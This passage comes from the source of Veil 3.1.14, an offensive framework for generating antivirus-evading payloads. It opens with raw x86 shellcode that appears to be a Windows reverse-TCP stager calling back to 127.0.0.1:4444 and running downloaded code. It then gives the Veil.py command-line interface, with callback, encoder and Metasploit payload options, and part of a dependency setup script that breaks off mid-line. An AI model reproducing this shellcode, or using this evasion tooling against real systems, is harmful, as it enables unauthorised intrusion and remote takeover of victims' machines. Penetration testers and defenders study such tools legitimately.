\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3 $ ``` - - - ## Licensing This project is licensed under the GNU General Public License v3 license. Veil-3.1.14/Veil.py000077500000000000000000000114711365017756100137720ustar00rootroot00000000000000#!/usr/bin/env python3 """ """ import argparse import sys from lib.common import helpers from lib.common import messages from lib.common import orchestra sys.dont_write_bytecode = True if __name__ == "__main__": import os os.chdir(os.path.dirname(os.path.realpath(__file__))) parser = argparse.ArgumentParser( add_help=False, description="Veil is a framework containing multiple\ tools.") parser.add_argument( '-h', '-?', '--h', '-help', '--help', action="store_true", help=argparse.SUPPRESS) veilframework = parser.add_argument_group('[*] Veil Options') veilframework.add_argument( '--list-tools', action="store_true", default=False, help='List Veil\'s tools') veilframework.add_argument( '-t', '--tool', metavar='TOOL', default=False, help='Specify Veil tool to use (Evasion, Ordnance etc.)') veilframework.add_argument( '--update', action='store_true', help='Update the Veil framework') veilframework.add_argument( '--setup', action='store_true', help='Run the Veil framework setup file & regenerate the configuration') veilframework.add_argument( '--config', action='store_true', help='Regenerate the Veil framework configuration file') veilframework.add_argument( '--version', action="store_true", help='Displays version and quits') callback_args = parser.add_argument_group('[*] Callback Settings') callback_args.add_argument( "--ip", "--domain", metavar="IP", default=None, help='IP address to connect back to') callback_args.add_argument( '--port', metavar="PORT", default=8675, type=int, help='Port number to connect to') payload_args = parser.add_argument_group('[*] Payload Settings') payload_args.add_argument( '--list-payloads', default=False, action='store_true', help='Lists all available payloads for that tool') veilevasion = parser.add_argument_group('[*] Veil-Evasion Options') veilevasion.add_argument( '-p', metavar="PAYLOAD", nargs='?', const="list", help='Payload to generate') veilevasion.add_argument( '-o', metavar="OUTPUT-NAME", default="payload", help='Output file base name for source and compiled binaries') veilevasion.add_argument( '-c', metavar='OPTION=value', nargs='*', default=None, help='Custom payload module options') veilevasion.add_argument( '--msfoptions', metavar="OPTION=value", nargs='*', help='Options for the specified metasploit payload') veilevasion.add_argument( '--msfvenom', metavar="", nargs='?', default='windows/meterpreter/reverse_tcp', help='Metasploit shellcode to generate (e.g. windows/meterpreter/reverse_tcp etc.)') veilevasion.add_argument( '--compiler', metavar="pyinstaller", default='pyinstaller', help='Compiler option for payload (currently only needed for Python)') veilevasion.add_argument( '--clean', action='store_true', help='Clean out payload folders') ordnance_shellcode = parser.add_argument_group('[*] Veil-Ordnance Shellcode Options') ordnance_shellcode.add_argument( "--ordnance-payload", metavar="PAYLOAD", default=None, help='Payload type (bind_tcp, rev_tcp, etc.)') ordnance_encoder = parser.add_argument_group('[*] Veil-Ordnance Encoder Options') ordnance_encoder.add_argument( '--list-encoders', default=False, action='store_true', help='Lists all available encoders') ordnance_encoder.add_argument( "-e", "--encoder", metavar="ENCODER", default=None, help='Name of shellcode encoder to use') ordnance_encoder.add_argument( "-b", "--bad-chars", metavar="\\x00\\x0a..", default=None, help='Bad characters to avoid') ordnance_encoder.add_argument( '--print-stats', default=False, action='store_true', help='Print information about the encoded shellcode') args = parser.parse_args() the_conductor = orchestra.Conductor(args) # --help if args.h: parser.print_help() sys.exit() # --version if args.version: messages.title_screen() sys.exit() # --update if args.update: the_conductor.update_veil() sys.exit() # --setup if args.setup: the_conductor.setup_veil() sys.exit() # --config if args.config: the_conductor.config_veil() sys.exit() # --list-tools if args.list_tools: the_conductor.list_tools() sys.exit() # --clean if args.clean: helpers.clean_payloads() sys.exit() # Anything else that isn't defined if not args.tool: the_conductor.main_menu() sys.exit() # This should hit if trying to use the CLI else: the_conductor.command_line_use() Veil-3.1.14/__init__.py000066400000000000000000000000221365017756100146150ustar00rootroot00000000000000__all__ = ['lib'] Veil-3.1.14/config/000077500000000000000000000000001365017756100137575ustar00rootroot00000000000000Veil-3.1.14/config/setup.sh000077500000000000000000001154251365017756100154660ustar00rootroot00000000000000#!/bin/bash ## Can be called by doing: "Veil.py --setup" ## Global variables os="$( awk -F '=' '/^ID=/ {print $2}' /etc/os-release 2>&- )" if [ "${os}" == "arch" ] \ || [ "${os}" == "manjaro" ]\ || [ "${os}" == "blackarch" ] \ || [ "${os}" == "debian" ] \ || [ "${os}" == "deepin" ] \ || [ "${os}" == "elementary" ] \ || [ "${os}" == "kali" ] \ || [ "${os}" == "linuxmint" ] \ || [ "${os}" == "\"void\"" ] \ || [ "${os}" == "ubuntu" ]; then trueuser="$( who | tr -d '\n' | cut -d' ' -f1 )" else ## If this is blank, we're actually root trueuser="$( who am i | cut -d' ' -f1 )" fi ## If this is blank, we're actually root if [ "${trueuser}" == "" ]; then trueuser="root" fi if [ "${trueuser}" != "root" ]; then userhomedir="$( echo /home/${trueuser} )" else userhomedir="${HOME}" fi userprimarygroup="$( id -Gn "${trueuser}" | cut -d' ' -f1 )" arch="$( uname -m )" if [ "${os}" == "manjaro" ]; then osversion="$(uname -r)" elif [ "${os}" == "\"void\"" ]; then osversion="$(uname -r)" else osversion="$( awk -F '=' '/^VERSION_ID=/ {print $2}' /etc/os-release 2>&- | sed 's/"//g' )" fi if [ "${os}" == "manjaro" ]; then osmajversion="$(uname -a | cut -f3 -d\ | cut -f-2 -d.)" elif [ "${os}" == "\"void\"" ]; then osmajversion="$(uname -a | cut -f3 -d\ | cut -f-2 -d.)" else osmajversion="$( awk -F '["=]' '/^VERSION_ID=/ {print $3}' /etc/os-release 2>&- | cut -d'.' -f1 )" fi veildir="/var/lib/veil" outputdir="${veildir}/output" dependenciesdir="${veildir}/setup-dependencies" rootdir=$( cd "$( dirname "${BASH_SOURCE[0]}" )/../" && pwd ) winedir="${veildir}/wine" winedrive="${winedir}/drive_c" gempath="${winedir}\drive_c\Ruby187\bin\gem" replace="\\" prefix="Z:" gempath="${gempath////$replace}" gempath="${prefix}${gempath}" nukewinedir="" silent=false force=false arg="" errors="" BOLD="\033[01;01m" # Highlight RED="\033[01;31m" # Issues/Errors GREEN="\033[01;32m" # Success YELLOW="\033[01;33m" # Warnings/Information RESET="\033[00m" # Normal ######################################################################## ## Title function func_title(){ ## Echo title echo " ==========================================================================" echo " Veil (Setup Script) | [Updated]: 2018-05-08" echo " ==========================================================================" echo " [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework" echo " ==========================================================================" echo "" echo " os = ${os}" echo " osversion = ${osversion}" echo " osmajversion = ${osmajversion}" echo " arch = ${arch}" echo " trueuser = ${trueuser}" echo " userprimarygroup = ${userprimarygroup}" echo " userhomedir = ${userhomedir}" echo " rootdir = ${rootdir}" echo " veildir = ${veildir}" echo " outputdir = ${outputdir}" echo " dependenciesdir = ${dependenciesdir}" echo " winedir = ${winedir}" echo " winedrive = ${winedrive}" echo " gempath = ${gempath}" echo "" } ## Trap CTRl-C function ctrl_c(){ echo -e "\n\n${RED}Quitting...${RESET}\n" exit 2 } ## Environment checks func_check_env(){ ## Check sudo dependency which sudo >/dev/null 2>&- if [ "$?" -ne "0" ]; then echo "" echo -e " ${RED}[ERROR]: This setup script requires sudo!${RESET}" echo -e " ${YELLOW} Please install and configure sudo then run this setup again.${RESET}" echo -e " ${YELLOW} Example: For Debian/Ubuntu: apt-get install -y sudo${RESET}" echo -e " ${YELLOW} For Fedora 22+: dnf -y install sudo${RESET}" exit 1 fi ## Feedback to user [ "${silent}" == "true" ] && echo -e " [I] ${YELLOW}Silent Mode${RESET}: ${GREEN}Enabled${RESET}" [ "${force}" == "true" ] && echo -e " [I] ${YELLOW}Force Mode${RESET}: ${GREEN}Enabled${RESET}" ## Double check install (if not silent) echo -e "\n\n [?] ${BOLD}Are you sure you wish to install Veil?${RESET}\n" echo -en " Continue with installation? ([${BOLD}y${RESET}]es/[${BOLD}s${RESET}]ilent/[${BOLD}N${RESET}]o): " if [ "${silent}" == "true" ]; then echo -e "${GREEN}S${RESET}\n" else read -p '' install install=$(echo "${install}" | tr '[:upper:]' '[:lower:]') echo if [ "${install}" == 's' ] \ || [ "${install}" == 'silent' ]; then silent=true elif [ "${install}" != 'y' ] \ && [ "${install}" != 'yes' ]; then echo -e "\n\n ${RED}[ERROR]: Installation aborted by user${RESET}\n" exit 1 fi fi ## Make sure Metasploit framework is already installed if [ "${os}" != "kali" ] \ && [ "${os}" != "parrot" ]; then echo -e "\n\n ${BOLD}[!] NON-KALI Users: Before you begin the install, make sure that you have" echo -e " the Metasploit-Framework installed before you proceed!${RESET}\n" echo -en " Continue with installation? ([${BOLD}Y${RESET}]es/[${BOLD}n${RESET}]o): " if [ "${silent}" == "true" ]; then echo -e "${GREEN}Y${RESET}\n" else read -p '' install install=$(echo "${install}" | tr '[:upper:]' '[:lower:]') echo fi if [ "${install}" == 'n' ] \ || [ "${install}" == 'no' ]; then echo -e "\n\n ${RED}[ERROR]: Installation aborted by user${RESET}\n" exit 1 fi fi ## Install architecture dependent dependencies func_package_deps ## Check if (Wine) Python is already installed if [ "${force}" == "false" ] \ && [ -f "${winedrive}/Python34/python.exe" ] \ && [ -f "${winedrive}/Python34/DLLs/python3.dll" ] \ && [ -f "${winedrive}/Python34/Lib/site-packages/win32/win32api.pyd" ]; then echo -e "\n\n [*] ${YELLOW}(Wine) Python is already installed... Skipping...${RESET}\n" else func_python_deps fi ## Check if (Wine) Ruby is already installed if [ "${force}" == "false" ] \ && [ -f "${winedrive}/Ruby187/bin/ruby.exe" ] \ && [ -d "${winedrive}/Ruby187/lib/ruby/gems/1.8/gems/win32-api-1.4.8-x86-mingw32/lib/win32/" ]; then echo -e "\n\n [*] ${YELLOW}(Wine) Ruby is already installed... Skipping...${RESET}\n" else func_ruby_deps fi ## Check if go is installed if [ "${force}" == "false" ] \ && [ -f "/var/lib/veil-evasion/go/bin/go" ]; then echo -e "\n\n [*] ${YELLOW}Go is already installed... Skipping...${RESET}\n" else func_go_deps fi ## Check if autoit is installed if [ "${force}" == "false" ] \ && [ -f "${winedrive}/Program Files/AutoIt3/AutoIt3.exe" ]; then echo -e "\n\n [*] ${YELLOW}AutoIt is already installed... Skipping...${RESET}\n" else func_autoit_deps fi ## Finally, update the config if [ "${force}" == "false" ] \ && [ -f "/etc/veil/settings.py" ] \ && [ -d "${outputdir}" ]; then echo -e "\n\n [*] ${YELLOW}Settings already detected... Skipping...${RESET}\n" else func_update_config fi ## Function done echo -e "\n\n [*] ${YELLOW}Finished environment checks${RESET}\n" } ## Install architecture dependent dependencies func_package_deps(){ echo -e "\n\n [*] ${YELLOW}Initializing package installation${RESET}\n" ## Start dependency install echo -e "\n\n [*] ${YELLOW}Installing dependencies${RESET}\n" if [ "${os}" == "debian" ] \ || [ "${os}" == "deepin" ] \ || [ "${os}" == "kali" ] \ || [ "${os}" == "linuxmint" ] \ || [ "${os}" == "parrot" ] \ || [ "${os}" == "ubuntu" ]; then ## Silent mode? [ "${silent}" == "true" ] \ && arg=" DEBIAN_FRONTEND=noninteractive" \ || arg="" ## Update APT echo -e " [*] ${YELLOW}Updating APT${RESET}\n" sudo apt-get -qq update if [[ "$?" -ne "0" ]]; then msg="Failed with apt-get update (1): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi # sudo - its everywhere # unzip - used for de-compressing files during setup # git - used for setup and keeping up-to-date # mingw-w64 - cross compiling c payloads # mono-mcs - c#/cs compiling payloads # ruby - ruby payloads # python3-* - python payloads sudo ${arg} apt-get install -y sudo unzip git \ mingw-w64 \ mono-mcs \ ruby \ python3 if [[ "$?" -ne "0" ]]; then msg="Failed with installing dependencies (1): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi if [ "${os}" == "debian" ] \ || [ "${os}" == "kali" ] \ || [ "${os}" == "parrot" ]; then echo -e "\n\n [*] ${YELLOW}Installing Python's pycrypto (via apt)...${RESET}\n" sudo ${arg} apt-get install -y python3-crypto if [[ "$?" -ne "0" ]]; then msg="Failed with installing dependencies (6): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi else echo -e "\n\n [*] ${YELLOW}Installing Python's pycrypto (via pip3)...${RESET}\n" sudo ${arg} apt-get install -y python3-pip if [[ "$?" -ne "0" ]]; then msg="Failed with installing dependencies (7): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi pip3 install pycrypto if [[ "$?" -ne "0" ]]; then msg="Failed with installing pip3 (1): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi elif [ "${os}" == "void" ]; then ## Update XBPS echo -e " [*] ${YELLOW}Updating XBPS${RESET}\n" sudo xbps-install -Suy if [[ "$?" -ne "0" ]]; then msg="Failed with xbps-install -Suy (1): $?" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi sudo xbps-install -uy sudo \ unzip \ git \ ruby \ python3 if [[ "$?" -ne "0" && "$?" -ne "6" ]]; then if grep -v "up to date"; then msg="Failed with installing dependencies (1): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi echo -e "\n\n [*] ${YELLOW}Installing Python's pycrypto (via pip3)...${RESET}\n" sudo xbps-install -uy python3-pip if [[ "$?" -ne "0" && "$?" -ne "6" ]]; then if grep -v "up to date"; then msg="Failed with installing dependencies (8): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi sudo pip3 install pycrypto if [[ "$?" -ne "0" ]]; then if grep -vq "already satisfied"; then msg="Failed with installing pip3 (1): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi elif [ "${os}" == "elementary" ]; then ## Silent mode? [ "${silent}" == "true" ] \ && arg=" DEBIAN_FRONTEND=noninteractive" \ || arg="" ## Update APT echo -e " [*] ${YELLOW}Updating APT${RESET}\n" sudo apt-get -qq update if [[ "$?" -ne "0" ]]; then msg="Failed with apt-get update (2): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi sudo ${arg} apt-get install -y mingw-w64 monodevelop mono-mcs unzip ruby golang wget git \ python python-crypto python-pefile python-pip ca-certificates python3-pip winbind python3-crypto if [[ "$?" -ne "0" ]]; then msg="Failed with installing dependencies (2): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi elif [ "${os}" == "centos" ] \ || [ "${os}" == "fedora" ] \ || [ "${os}" == "rhel" ]; then sudo ${arg} dnf -y install mingw64-binutils mingw64-cpp mingw64-gcc mingw64-gcc-c++ mono-tools-monodoc monodoc \ monodevelop mono-tools mono-core unzip ruby golang wget git python python-crypto python-pefile \ python-pip ca-certificates msttcore-fonts-installer python3-pip winbind if [[ "$?" -ne "0" ]]; then msg="Failed with installing dependencies (3): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi elif [ "${os}" == "blackarch" ]; then sudo pacman -Sy ${arg} --needed mingw-w64-binutils mingw-w64-crt mingw-w64-gcc mingw-w64-headers mingw-w64-winpthreads \ mono mono-tools mono-addins python2-pip wget unzip ruby python python2 python-crypto gcc-go ca-certificates base-devel python-pip krb5 samba if [[ "$?" -ne "0" ]]; then msg="Failed with installing dependencies (4): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Install pefile for python2 using pip, rather than via AUR as the package is currently broken. sudo pip2 install pefile if [[ "$?" -ne "0" ]]; then msg="Failed with pip2 install (1): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi elif [ "${os}" == "arch" ] \ || [ "${os}" == "manjaro" ]; then AUR_packages() { if [ $1 == 'yay' ]; then if [ "${silent}" == true ]; then yay -S mingw-w64-binutils mingw-w64-crt mingw-w64-gcc mingw-w64-headers mingw-w64-winpthreads --noconfirm else yay -S mingw-w64-binutils mingw-w64-crt mingw-w64-gcc mingw-w64-headers mingw-w64-winpthreads fi elif [ $1 == 'yaourt' ]; then if [ "${silent}" == true ]; then yaourt -S mingw-w64-binutils mingw-w64-crt mingw-w64-gcc mingw-w64-headers mingw-w64-winpthreads --noconfirm else yaourt -S mingw-w64-binutils mingw-w64-crt mingw-w64-gcc mingw-w64-headers mingw-w64-winpthreads fi fi } sudo pacman -Sy ${arg} --needed mono mono-tools mono-addins python2-pip wget unzip ruby python python2 python-crypto gcc-go ca-certificates base-devel python-pip krb5 samba if [ $(id -u) -eq 0 ]; then echo "\n\n Insert your non-root user:\n" read $nonrootuser su - $nonrootuser fi if pacman -Qs yay > /dev/null ; then AUR_packages "yay" elif pacman -Qs yaourt > /dev/null ; then AUR_packages "yaourt" else git clone https://aur.archlinux.org/yay.git ~/Downloads/yay makepkg -si ~/Downloads/yay rm -rf ~/Downloads/yay sudo pacman -Syyu AUR_packages "yay" echo -e "\n\n [?] ${BOLD}Yay has been installed to install some dependencies.${RESET}\n" echo -en " Do you want to keep yay installed? ([${BOLD}y${RESET}]es/[${BOLD}s${RESET}]ilent/[${BOLD}N${RESET}]o): " if [ "${keepyay} == 'y'" ] \ || [ "${keepyay} == 'yes'" ]; then echo -e "\n\n ${GREN}yay will remain installed on your system. \n" elif [ "${install}" == 'n' ] \ || [ "${install}" == 'no' ]; then echo -e "\n\n ${RED}yay will be removed from your system.\n" sudo pacman -Rns yay fi fi ## Install pefile for python2 using pip, rather than via AUR as the package is currently broken. sudo pip2 install pefile if [[ "$?" -ne "0" ]]; then msg="Failed with pip2 install (1): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi ## Couple of extras for other OSs if [ "${os}" == "kali" ] \ || [ "${os}" == "parrot" ]; then sudo ${arg} apt-get install -y metasploit-framework if [[ "$?" -ne "0" ]]; then msg="Failed with installing dependencies (5): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi ## Clone down the required install files echo -e "\n\n [*] ${YELLOW}Pulling down binary dependencies${RESET}\n" [ "${force}" == "true" ] && rm -rf "${dependenciesdir}" ## Pulling down from github, if it fails, pull local folder if [ -d "${dependenciesdir}" ]; then echo -e " [*] ${YELLOW}Already detected folder: ${BOLD}${dependenciesdir}${RESET}\n" echo -e " [*] ${YELLOW}Trying to git pull${RESET}\n" pushd "${dependenciesdir}" >/dev/null sudo git reset --hard HEAD >/dev/null sudo git clean -fd >/dev/null sudo git pull if [[ "$?" -ne "0" ]]; then msg="Failed with git pull: $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi popd >/dev/null else echo -e " [*] ${YELLOW}Empty folder... git cloning${RESET}\n" sudo mkdir -p "${dependenciesdir}" sudo rm -rf "${dependenciesdir}" sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}" if [[ "$?" -ne "0" ]]; then msg="Failed with git clone: $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi ## Begin Wine install for multiple architectures ## Always install 32-bit support for 64-bit architectures ## echo -e "\n\n [*] ${YELLOW}Installing Wine${RESET}\n" ## Debian based distributions if [ "${os}" == "debian" ] \ || [ "${os}" == "deepin" ] \ || [ "${os}" == "kali" ] \ || [ "${os}" == "linuxmint" ] \ || [ "${os}" == "parrot" ] \ || [ "${os}" == "ubuntu" ]; then ## Silent mode? [ "${silent}" == "true" ] \ && arg=" DEBIAN_FRONTEND=noninteractive" \ || arg="" if [ "${arch}" == "x86_64" ]; then ## Check to see if we already have i386 tmp="$( dpkg --print-foreign-architectures | grep '^i386$' )" ## If we do NOT have it, add it if [[ "${tmp}" == "" ]]; then echo -e "\n\n [*] ${YELLOW}Adding i386 architecture to x86_64 system for Wine${RESET}\n" sudo dpkg --add-architecture i386 echo -e " [*] ${YELLOW}Updating APT${RESET}\n" sudo apt-get -qq update if [[ "$?" -ne "0" ]]; then msg="Failed with apt-get update (3): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Already have i386 added else echo -e " [*] ${YELLOW}Already have x86 architecture added...${RESET}\n" fi echo -e "\n\n [*] ${YELLOW}Installing Wine 32-bit and 64-bit binaries (via APT)${RESET}\n" if [ "${os}" == "ubuntu" ] \ || [ "${os}" == "linuxmint" ]; then ## Special urghbuntu derivative snowflakes. Now with even *more* special. if [ "${osmajversion}" -ge "17" ] \ && [ "${os}" == "ubuntu" ]; then # Wine package was renamed in Arty sudo ${arg} apt-get -y -qq install wine-stable else sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-i386 fi if [[ "$?" -ne "0" ]]; then msg="Failed with installing wine (1): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi else ## Anything that isn't ubuntu or ubuntu-derived sudo ${arg} apt-get -y -qq install wine wine64 wine32 if [[ "$?" -ne "0" ]]; then msg="Failed with installing wine (2): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi elif [ "${arch}" == "x86" ] \ || [ "${arch}" == "i686" ]; then sudo apt-get -qq update if [[ "$?" -ne "0" ]]; then msg="Failed with apt-get update (4): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi sudo ${arg} apt-get -y -qq install wine32 if [[ "$?" -ne "0" ]]; then msg="Failed with installing wine (3): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi else ## Dead code. We really shouldn't end up here, but, you never know... echo -e "${RED}[ERROR]: Architecture ${arch} is not supported!\n${RESET}\n" exit 1 fi ## Elementary OS x86_64 elif [ "${os}" == '"elementary"' ]; then echo -e "\n\n [*] ${YELLOW}Installing Wine on Elementary OS (via APT)${RESET}\n" sudo ${arg} apt-get -y -qq install wine wine1.6 wine1.6-amd64 if [[ "$?" -ne "0" ]]; then msg="Failed with installing wine (4): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Red Hat based distributions elif [ "${os}" == "fedora" ] \ || [ "${os}" == "rhel" ] \ || [ "${os}" == "centos" ]; then echo -e "\n\n [*] ${YELLOW}Installing Wine 32-bit on x86_64 System (via DNF)${RESET}\n" sudo dnf install -y wine.i686 wine if [[ "$?" -ne "0" ]]; then msg="Failed with installing wine (5): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi elif [ "${os}" == "arch" ] \ || [ "${os}" == "blackarch" ] \ || [ "${os}" == "blackarch" ]; then echo -e "\n\n [*] ${YELLOW}Installing Wine 32-bit on x86_64 System (via PACMAN)${RESET}\n" if grep -Fxq "#[multilib]" /etc/pacman.conf; then echo "[multilib]\nInclude = /etc/pacman.d/mirrorlist" >> /etc/pacman.conf fi sudo pacman -Syu ${args} --needed --noconfirm wine wine-mono wine_gecko git if [[ "$?" -ne "0" ]]; then msg="Failed with installing wine (6): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Void Linux elif [ "${os}" == '"void"' ]; then sudo xbps-install -uy wine-32bit wine-mono wine-gecko if [[ "$?" -ne "0" ]]; then if grep -v "up to date"; then msg="Failed with installing wine (7): $?" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi fi ## ## Setup Wine prefices ## Because Veil currently only supports Win32 binaries, we have to set the WINEARCH PREFIX ## to use Win32. This is a potential issue for the future when Veil has windows 64-bit ## binary support. To get around this in setup and somewhat future proof for that eventuality, ## we're already going to look for an existing veil wine setup (~/.config/veil/) and nuke it ## making it easy for a user to rerun the setup and have a new wine environment. if [ -d "${winedir}" ]; then echo -e "\n\n [*] ${BOLD}[ALERT]${RESET}: Existing Veil Wine environment detected at: ${BOLD}${winedir}${RESET}\n" echo -en " Do you want to nuke it? ([${BOLD}y${RESET}]es/[${BOLD}N${RESET}]o): " if [ "${silent}" == "true" ]; then echo -e "${GREEN}Y${RESET}\n" else read -p '' nukewinedir nukewinedir=$(echo "${nukewinedir}" | tr '[:upper:]' '[:lower:]') echo fi if [ "${nukewinedir}" == 'y' ] \ || [ "${nukewinedir}" == 'yes' ] \ || [ "${silent}" == 'true' ]; then echo -e " [*] ${YELLOW}Deleting existing Veil Wine environment...${RESET}\n" sudo rm -rf "${winedir}" else echo -e " [*] ${YELLOW}Maintaining current Veil Wine environment...${RESET}\n" fi fi ## For creating wine environment on newer distros if [ -f "/usr/bin/wineboot" ]; then winebootexists=true sudo mkdir -p "${winedrive}/" sudo chown -R "${trueuser}:" "${winedir}" else winebootexists=false fi if [ ! -d "${winedir}" ] \ || [ "${nukewinedir}" == 'y' ] \ || [ "${nukewinedir}" == 'yes' ] \ || [ "${silent}" == 'true' ]; then echo -e " [*] ${YELLOW}Creating new Veil Wine environment in: ${BOLD}${winedir}${RESET}\n" echo -e " [*] ${YELLOW}Initializing Veil's Wine environment...${RESET}\n" ## x64 if [ "${arch}" == "x86_64" ]; then ## First time running wine, need to run a dummy file to create files [ "${winebootexists}" == "true" ] \ && sudo -u "${trueuser}" WINEARCH=win32 WINEPREFIX="${winedir}" wineboot -u \ || sudo -u "${trueuser}" WINEARCH=win32 WINEPREFIX="${winedir}" wine cmd.exe /c ipconfig >/dev/null ## x86 elif [ "${arch}" == "x86" ] \ || [ "${arch}" == "i686" ]; then sudo -u "${trueuser}" WINEPREFIX="${winedir}" wineboot -u fi if [ -d "${winedrive}" ]; then echo -e " [*] ${GREEN}Veil Wine environment successfully created!${RESET}\n" else msg="Veil Wine environment could not be found!" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" msg="Check for existence of ${winedrive}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi fi ## Function done echo -e "\n\n [*] ${YELLOW}Finished package installation${RESET}\n" } ## Install Python dependencies func_python_deps(){ ## Banner echo -e "\n\n [*] ${YELLOW}Initializing (OS + Wine) Python dependencies installation...${RESET}\n" ## Python (OS) - install-addons.sh ## In-case its 'First time run' for Wine (More information - http://wiki.winehq.org/Mono) #[[ "${silent}" == "true" ]] && bash "${dependenciesdir}/install-addons.sh" #wget -qO - "http://winezeug.googlecode.com/svn/trunk/install-addons.sh" ## Install (Wine) Python main setup file echo -e "\n\n [*] ${YELLOW}Installing (Wine) Python...${RESET}\n" echo -e " [*] ${BOLD} Next -> Next -> Next -> Finished! ...Overwrite if prompt (use default values)${RESET}\n" sleep 1s [ "${silent}" == "true" ] \ && arg=" TARGETDIR=C:\Python34 ALLUSERS=1 /q /norestart" \ || arg="" sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine msiexec /i "${dependenciesdir}/python-3.4.4.msi" ${arg} tmp="$?" if [[ "${tmp}" -ne "0" ]]; then msg="Failed to install (Wine) Python 3.4.4... Exit code: ${tmp}" errors="${errors}\n${msg}" echo -e " ${RED}[ERROR] ${msg}${RESET}\n" fi ## Cool down sleep 3s ## Banner echo -e "\n\n [*] ${YELLOW}Installing (Wine) Python dependencies...${RESET}\n" pushd "${dependenciesdir}/" >/dev/null ## Install (Wine) Python extra setup files (PyWin32 & PyCrypto) for FILE in pywin32-220.win32-py3.4.exe pycrypto-2.6.1.win32-py3.4.exe; do echo -e "\n\n [*] ${YELLOW}Installing (Wine) Python's ${FILE}...${RESET}\n" echo -e " [*] ${BOLD} Next -> Next -> Next -> Finished! ...Overwrite if prompt (use default values)${RESET}\n" sleep 1s if [ "${silent}" == "true" ]; then ## Start fresh sudo rm -rf "PLATLIB/" "SCRIPTS/" ## Extract sudo unzip -q -o "${FILE}" ## Copy files to right location [ -e "PLATLIB" ] && sudo -u "${trueuser}" cp -rf PLATLIB/* "${winedrive}/Python34/Lib/site-packages/" [ -e "SCRIPTS" ] && sudo -u "${trueuser}" cp -rf SCRIPTS/* "${winedrive}/Python34/Scripts/" ## Run post install file [ -e "SCRIPTS/pywin32_postinstall.py" ] && sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine 